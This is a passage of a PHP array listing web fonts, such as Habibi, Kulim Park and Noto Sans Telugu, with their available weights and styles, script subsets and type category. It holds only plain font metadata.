'variants' => array('400', '500', '600', '700', '800', '900', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'serif' ), 'Habibi' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'serif' ), 'BIZ UDGothic' => array( 'variants' => array('400', '700'), 'subsets' => array('cyrillic', 'greek-ext', 'japanese', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Port Lligat Sans' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'sans-serif' ), 'Engagement' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'handwriting' ), 'East Sea Dokdo' => array( 'variants' => array('400'), 'subsets' => array('korean', 'latin'), 'category' => 'handwriting' ), 'Kulim Park' => array( 'variants' => array('200', '200italic', '300', '300italic', '400', 'italic', '600', '600italic', '700', '700italic'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Chicle' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Sahitya' => array( 'variants' => array('400', '700'), 'subsets' => array('devanagari', 'latin'), 'category' => 'serif' ), 'Kdam Thmor Pro' => array( 'variants' => array('400'), 'subsets' => array('khmer', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Anek Bangla' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800'), 'subsets' => array('bengali', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Gorditas' => array( 'variants' => array('400', '700'), 'subsets' => array('latin'), 'category' => 'display' ), 'Zilla Slab Highlight' => array( 'variants' => array('400', '700'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Noto Sans Telugu' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('latin', 'latin-ext', 'telugu'), 'category' => 'sans-serif' ), 'Tulpen One' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Mystery Quest' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Montagu Slab' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'MonteCarlo' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Piedra' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Stalemate' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'handwriting' ), 'Macondo Swash Caps' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Rosarivo' => array( 'variants' => array('400', 'italic'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'serif' ), 'Varta' => array( 'variants' => array('300', '400', '500', '600', '700'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Princess Sofia' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'handwriting' ), 'Donegal One' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'serif' ), 'Moon Dance' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Odor Mean Chey' => array( 'variants' => array('400'), 'subsets' => array('khmer', 'latin'), 'category' => 'serif' ), 'Jomolhari' => array( 'variants' => array('400'), 'subsets' => array('latin', 'tibetan'), 'category' => 'serif' ), 'Iceberg' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Bubbler One' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Fascinate Inline' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Trispace' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Overlock SC' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Meie Script' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'handwriting' ), 'Lexend Mega' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Milonga' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Zen Dots' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Zen Antique Soft' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'greek', 'japanese', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Moul' => array( 'variants' => array('400'), 'subsets' => array('khmer', 'latin'), 'category' => 'display' ), 'Yuji Syuku' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'japanese', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Gowun Batang' => array( 'variants' => array('400', '700'), 'subsets' => array('korean', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'Nova Flat' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Stint Ultra Expanded' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'IBM Plex Sans JP' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700'), 'subsets' => array('cyrillic', 'japanese', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Rubik Puddles' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'hebrew', 'latin', 'latin-ext'), 'category' => 'display' ), 'Gowun Dodum' => array( 'variants' => array('400'), 'subsets' => array('korean', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Licorice' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Crushed' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'M PLUS 1 Code' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700'), 'subsets' => array('japanese', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Fontdiner Swanky' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Elsie Swash Caps' => array( 'variants' => array('400', '900'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Dorsa' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'sans-serif' ), 'Noto Sans Lao' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('lao', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'IM Fell Great Primer' => array( 'variants' => array('400', 'italic'), 'subsets' => array('latin'), 'category' => 'serif' ), 'New Rocker' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Spline Sans' => array( 'variants' => array('300', '400', '500', '600', '700'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Zhi Mang Xing' => array( 'variants' => array('400'), 'subsets' => array('chinese-simplified', 'latin'), 'category' => 'handwriting' ), 'Stalinist One' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'latin', 'latin-ext'), 'category' => 'display' ), 'Rhodium Libre' => array( 'variants' => array('400'), 'subsets' => array('devanagari', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Shippori Antique' => array( 'variants' => array('400'), 'subsets' => array('japanese', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Sarina' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Comforter' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Vampiro One' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Girassol' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Scheherazade New' => array( 'variants' => array('400', '500', '600', '700'), 'subsets' => array('arabic', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Arbutus' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Offside' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Yomogi' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'japanese', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Bona Nova' => array( 'variants' => array('400', 'italic', '700'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'greek', 'hebrew', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'Fascinate' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Tiro Kannada' => array( 'variants' => array('400', 'italic'), 'subsets' => array('kannada', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Inika' => array( 'variants' => array('400', '700'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'serif' ), 'Mochiy Pop P One' => array( 'variants' => array('400'), 'subsets' => array('japanese', 'latin'), 'category' => 'sans-serif' ), 'Train One' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'japanese', 'latin', 'latin-ext'), 'category' => 'display' ), 'Square Peg' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Condiment' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'handwriting' ), 'Vujahday Script' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Content' => array( 'variants' => array('400', '700'), 'subsets' => array('khmer'), 'category' => 'display' ), 'Molle' => array( 'variants' => array('italic'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'handwriting' ), 'Peddana' => array( 'variants' => array('400'), 'subsets' => array('latin', 'telugu'), 'category' => 'serif' ), 'Eagle Lake' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'handwriting' ), 'Margarine' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'MedievalSharp' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Alkalami' => array( 'variants' => array('400'), 'subsets' => array('arabic', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Grape Nuts' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Buda' => array( 'variants' => array('300'), 'subsets' => array('latin'), 'category' => 'display' ), 'Waterfall' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Plaster' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Bigelow Rules' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Tiro Bangla' => array( 'variants' => array('400', 'italic'), 'subsets' => array('bengali', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Suwannaphum' => array( 'variants' => array('100', '300', '400', '700', '900'), 'subsets' => array('khmer', 'latin'), 'category' => 'serif' ), 'Ravi Prakash' => array( 'variants' => array('400'), 'subsets' => array('latin', 'telugu'), 'category' => 'display' ), 'Noto Emoji' => array( 'variants' => array('300', '400', '500', '600', '700'), 'subsets' => array('emoji'), 'category' => 'sans-serif' ), 'Srisakdi' => array( 'variants' => array('400', '700'), 'subsets' => array('latin', 'latin-ext', 'thai', 'vietnamese'), 'category' => 'display' ), 'Viaoda Libre' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Jolly Lodger' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Griffy' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Underdog' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'latin', 'latin-ext'), 'category' => 'display' ), 'DynaPuff' => array( 'variants' => array('400', '500', '600', '700'), 'subsets' => array('cyrillic-ext', 'latin', 'latin-ext'), 'category' => 'display' ), 'Sura' => array( 'variants' => array('400', '700'), 'subsets' => array('devanagari', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Akaya Kanadaka' => array( 'variants' => array('400'), 'subsets' => array('kannada', 'latin', 'latin-ext'), 'category' => 'display' ), 'WindSong' => array( 'variants' => array('400', '500'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Romanesco' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'handwriting' ), 'Diplomata' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Caesar Dressing' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Black And White Picture' => array( 'variants' => array('400'), 'subsets' => array('korean', 'latin'), 'category' => 'sans-serif' ), 'Englebert' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Kumar One' => array( 'variants' => array('400'), 'subsets' => array('gujarati', 'latin', 'latin-ext'), 'category' => 'display' ), 'Gluten' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Beth Ellen' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'handwriting' ), 'Bilbo' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Libre Barcode 128 Text' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Linden Hill' => array( 'variants' => array('400', 'italic'), 'subsets' => array('latin'), 'category' => 'serif' ), 'Nosifer' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Gulzar' => array( 'variants' => array('400'), 'subsets' => array('arabic', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Fuzzy Bubbles' => array( 'variants' => array('400', '700'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Encode Sans SC' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Simonetta' => array( 'variants' => array('400', 'italic', '900', '900italic'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Yeon Sung' => array( 'variants' => array('400'), 'subsets' => array('korean', 'latin'), 'category' => 'display' ), 'Yaldevi' => array( 'variants' => array('200', '300', '400', '500', '600', '700'), 'subsets' => array('latin', 'latin-ext', 'sinhala'), 'category' => 'sans-serif' ), 'Fenix' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'serif' ), 'Freehand' => array( 'variants' => array('400'), 'subsets' => array('khmer', 'latin'), 'category' => 'display' ), 'Spirax' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Kavivanar' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'tamil'), 'category' => 'handwriting' ), 'Poor Story' => array( 'variants' => array('400'), 'subsets' => array('korean', 'latin'), 'category' => 'display' ), 'Passions Conflict' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Keania One' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Wellfleet' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Text Me One' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Joti One' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Sigmar' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Metal Mania' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Erica One' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Chilanka' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'malayalam'), 'category' => 'handwriting' ), 'Revalia' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Noto Serif Lao' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('lao', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Risque' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Anek Gujarati' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800'), 'subsets' => array('gujarati', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Ruluko' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Lakki Reddy' => array( 'variants' => array('400'), 'subsets' => array('latin', 'telugu'), 'category' => 'handwriting' ), 'Modern Antiqua' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Autour One' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Swanky and Moo Moo' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'handwriting' ), 'Anek Devanagari' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800'), 'subsets' => array('devanagari', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Felipa' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'handwriting' ), 'Noto Sans Khmer' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('khmer', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Gloock' => array( 'variants' => array('400'), 'subsets' => array('cyrillic-ext', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Long Cang' => array( 'variants' => array('400'), 'subsets' => array('chinese-simplified', 'latin'), 'category' => 'handwriting' ), 'Maiden Orange' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Croissant One' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Carattere' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Junge' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'serif' ), 'Instrument Serif' => array( 'variants' => array('400', 'italic'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'serif' ), 'Liu Jian Mao Cao' => array( 'variants' => array('400'), 'subsets' => array('chinese-simplified', 'latin'), 'category' => 'handwriting' ), 'Marko One' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'serif' ), 'New Tegomin' => array( 'variants' => array('400'), 'subsets' => array('japanese', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Chokokutai' => array( 'variants' => array('400'), 'subsets' => array('japanese', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Jim Nightshade' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'handwriting' ), 'Big Shoulders Stencil Text' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Stick No Bills' => array( 'variants' => array('200', '300', '400', '500', '600', '700', '800'), 'subsets' => array('latin', 'latin-ext', 'sinhala'), 'category' => 'sans-serif' ), 'Atomic Age' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Kaisei HarunoUmi' => array( 'variants' => array('400', '500', '700'), 'subsets' => array('cyrillic', 'japanese', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Noto Serif Armenian' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('armenian', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Joan' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'serif' ), 'Qahiri' => array( 'variants' => array('400'), 'subsets' => array('arabic', 'latin'), 'category' => 'sans-serif' ), 'Jacques Francois Shadow' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Fragment Mono' => array( 'variants' => array('400', 'italic'), 'subsets' => array('cyrillic-ext', 'latin', 'latin-ext'), 'category' => 'monospace' ), 'Noto Sans Gothic' => array( 'variants' => array('400'), 'subsets' => array('gothic'), 'category' => 'sans-serif' ), 'Galdeano' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'sans-serif' ), 'Kirang Haerang' => array( 'variants' => array('400'), 'subsets' => array('korean', 'latin'), 'category' => 'display' ), 'Ribeye Marrow' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Bahianita' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Instrument Sans' => array( 'variants' => array('400', '500', '600', '700', 'italic', '500italic', '600italic', '700italic'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Noto Sans Tai Viet' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'tai-viet'), 'category' => 'sans-serif' ), 'Spline Sans Mono' => array( 'variants' => array('300', '400', '500', '600', '700', '300italic', 'italic', '500italic', '600italic', '700italic'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'monospace' ), 'Anek Latin' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Smooch' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Noto Sans Oriya' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('latin', 'latin-ext', 'oriya'), 'category' => 'sans-serif' ), 'Tiro Gurmukhi' => array( 'variants' => array('400', 'italic'), 'subsets' => array('gurmukhi', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Passero One' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Mohave' => array( 'variants' => array('300', '400', '500', '600', '700', '300italic', 'italic', '500italic', '600italic', '700italic'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Nuosu SIL' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'yi'), 'category' => 'serif' ), 'Shippori Antique B1' => array( 'variants' => array('400'), 'subsets' => array('japanese', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Mrs Sheppards' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'handwriting' ), 'Snippet' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'sans-serif' ), 'Reem Kufi Fun' => array( 'variants' => array('400', '500', '600', '700'), 'subsets' => array('arabic', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Devonshire' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'handwriting' ), 'Noto Sans Anatolian Hieroglyphs' => array( 'variants' => array('400'), 'subsets' => array('anatolian-hieroglyphs'), 'category' => 'sans-serif' ), 'Wix Madefor Text' => array( 'variants' => array('400', 'italic', '500', '500italic', '600', '600italic', '700', '700italic', '800', '800italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Aubrey' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Bungee Hairline' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Birthstone Bounce' => array( 'variants' => array('400', '500'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Dangrek' => array( 'variants' => array('400'), 'subsets' => array('khmer', 'latin'), 'category' => 'display' ), 'IM Fell DW Pica SC' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'serif' ), 'Glass Antiqua' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Kantumruy Pro' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '100italic', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic'), 'subsets' => array('khmer', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Bahiana' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Ewert' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Smythe' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Noto Sans Symbols 2' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'symbols'), 'category' => 'sans-serif' ), 'Oldenburg' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Chela One' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Smooch Sans' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'BIZ UDMincho' => array( 'variants' => array('400', '700'), 'subsets' => array('cyrillic', 'greek-ext', 'japanese', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Jacques Francois' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'serif' ), 'Purple Purse' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Big Shoulders Stencil Display' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Noto Serif Kannada' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('kannada', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Grenze' => array( 'variants' => array('100', '100italic', '200', '200italic', '300', '300italic', '400', 'italic', '500', '500italic', '600', '600italic', '700', '700italic', '800', '800italic', '900', '900italic'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'Seymour One' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Delicious Handrawn' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'handwriting' ), 'Lancelot' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Emblema One' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Gidugu' => array( 'variants' => array('400'), 'subsets' => array('latin', 'telugu'), 'category' => 'sans-serif' ), 'Beau Rivage' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Festive' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Almendra SC' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'serif' ), 'Hanalei Fill' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'IM Fell Great Primer SC' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'serif' ), 'Meow Script' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Anybody' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900', '100italic', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Luxurious Script' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Gentium Plus' => array( 'variants' => array('400', 'italic', '700', '700italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'greek', 'greek-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'Galindo' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Combo' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Diplomata SC' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Inspiration' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Nova Slim' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Geostar Fill' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Benne' => array( 'variants' => array('400'), 'subsets' => array('kannada', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Sedgwick Ave Display' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Genos' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900', '100italic', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic', 